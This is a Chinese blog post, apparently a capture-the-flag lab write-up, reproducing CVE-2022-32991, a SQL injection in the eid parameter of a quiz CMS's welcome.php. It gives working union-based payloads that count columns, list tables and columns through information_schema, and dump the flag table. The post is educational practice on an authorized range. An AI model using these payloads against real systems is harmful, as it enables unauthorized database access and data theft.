码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)


    文章目录

    • 前言
    • 一、CVE-2022-32991靶场简述
    • 二、找注入点
    • 三、CVE-2022-32991漏洞复现
      • 1、判断注入点
      • 2、爆显位个数
      • 3、爆显位位置
      • 4 、爆数据库名
      • 5、爆数据库表名
      • 6、爆数据库列名
      • 7、爆数据库数据
    • 总结


    前言

    此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


    一、CVE-2022-32991靶场简述

    该CMS的welcome.php中存在SQL注入攻击。
    靶场地址在春秋云境官网https://yunjing.ichunqiu.com/
    在这里插入图片描述

    二、找注入点

    因为已经知道在此cms中的welcome.php中eid参数可以进行sql注入,那么我们的思路就是先找到注入地方。
    1、首先进来是一个登录页面(如图所示)
    在这里插入图片描述
    这里是login.php的界面,显然不是我们要注入的地方。我们选择创建一个用户登录进去再去找注入点。而且这里登录框试了试sql注入,发现也是不行的。
    2、登录进去发现了网址是welcome.php了,那么离flag更进一步了。(如图所示)
    在这里插入图片描述
    发现此时url的参数是q,显然不是eid,我们还得继续深入。感兴趣的小伙伴看到这里有参数也可以试一试有没有sql注入,但是肯定是没有的哈哈哈。
    3、我们看到start的按钮,只能去点它了,看看是不是我们注入的地方,点进去发现(如图所示)
    在这里插入图片描述
    成功找到eid参数,那么我们就开始我们的sql手工注入吧。(我试了试n参数好像也是可以注入的)

    三、CVE-2022-32991漏洞复现

    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据

    1、判断注入点

    (如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试。发现页面依旧正常,排除数字型。直接提交1’发现报错,报错信息为

    Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result,
    boolean given in /var/www/html/welcome.php on line 98

    在这里插入图片描述

    很大可能是单引号闭合了,因为我们多了个单引号,变成eid=‘60377db362694’'。后面多出来的单引号导致报错了。我们把它闭合看看是否变成正常界面。注入语句为

    60377db362694'--+
    
    • 1

    发现是页面正常了。
    在这里插入图片描述
    那么这是一个单引号闭合的get提交的sql注入。

    2、爆显位个数

    注入语句为

    eid=60377db362694' order by 6--+
    
    • 1

    发现6的时候报错,5正常。说明有5个显位。
    在这里插入图片描述
    在这里插入图片描述

    3、爆显位位置

    注入语句为

    eid=60377db362694' union select 1,2,3,4,5--+
    
    • 1

    在这里插入图片描述
    发现显位3

    4 、爆数据库名

    注入语句为

    eid=60377db362694' union select 1,2,database(),4,5--+
    
    • 1

    得到数据库名为ctf
    在这里插入图片描述

    5、爆数据库表名

    注入语句为

    eid=60377db362694' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
    
    • 1

    在这里插入图片描述
    得到所有表名user,options,quiz,admin,questions,history,rank,flag,answer
    其中关键表名为flag

    6、爆数据库列名

    注入语句为

    eid=60377db362694' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"--+
    
    • 1

    得到列名为flag
    在这里插入图片描述

    7、爆数据库数据

    注入语句为

    eid=60377db362694' union select 1,2,group_concat(flag),4,5 from flag --+
    
    • 1

    在这里插入图片描述
    成功得到flag

    总结

    因为我们已经知道注入点的位置是在哪个目录下的哪个参数。如果我们不知道的话,就得找有可控参数的地方,并且参数有与数据库交互,而且没有严格过滤。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

  • 相关阅读:
    Spring 类级别多属性联合校验&国际化
    基于SpringBoot宠物医院信息管理系统【Java毕业设计·安装调试·代码讲解·文档报告】
    交互与前端4 Tabulator+Flask开发日志001
    Selenium —— Web自动化多浏览器处理!
    多测师肖sir_高级金牌讲师_ui自动化po框架版本02
    索引位图制作、C++读写流程
    压力测试+接口测试
    【Web3 系列开发教程——创建你的第一个 NFT(2)】NFT 历史回溯
    【408数据结构与算法】—队列的顺序表示和实现(十三)
    2024腾讯游戏安全技术竞赛-机器学习赛道
  • 原文地址:https://blog.csdn.net/zyh1588/article/details/134400053
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号